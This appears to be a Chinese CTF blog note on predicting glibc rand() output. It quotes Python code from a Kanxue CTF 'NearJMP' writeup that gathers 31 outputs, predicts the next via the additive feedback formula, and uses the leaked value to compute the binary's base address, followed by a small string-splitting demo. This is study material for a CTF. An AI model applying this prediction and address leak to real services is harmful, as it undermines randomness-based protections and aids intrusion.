linux随机数原理

http://www.mutepig.club/index.php/archives/61/


这里是原理的推导,下面根据dalao的writeup,贴出py代码

看雪CTF秋季赛第四题NearJMP的writeup


def guess(i):
    p.sendline('5')
    p.recvuntil('> ')
    p.sendline(str(i))
    res = p.recvline()
    p.recvuntil('> ')
    num = res.split()[-1][:-1]
    return int(num)
 
print '[+]guess'
p.recvuntil('> ')
baseAddr = 0
lstRand = []
#先获取前31个随机数
for i in range(31):
    lstRand.append(guess(i))
 
#因为偶尔会有1的误差,所以猜3次
for i in range(31, 33):
    rnd = (lstRand[i-3] + lstRand[i-31]) & 0x7fffffff
    p.sendline('5')
    p.recvuntil('> ')
    p.sendline(str(rnd))
    tmp = p.recvline()
    if 'G00dj0b' in tmp:
        baseAddr = int(tmp.split()[-1][:-1]) - 0x202148
        p.recvuntil('> ')
        break
    p.recvuntil('> ')
print '[+]baseAddr:' + hex(baseAddr)

记录一个py的使用方法

s = 'Wr0ng answer!The number is 499183478!'
print s.split()
print s.split()[0]
print s.split()[-1]
print s.split()[-1][:-1]
print s.split()[-1][:-2]

['Wr0ng', 'answer!The', 'number', 'is', '499183478!']
Wr0ng
499183478!
499183478
49918347


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值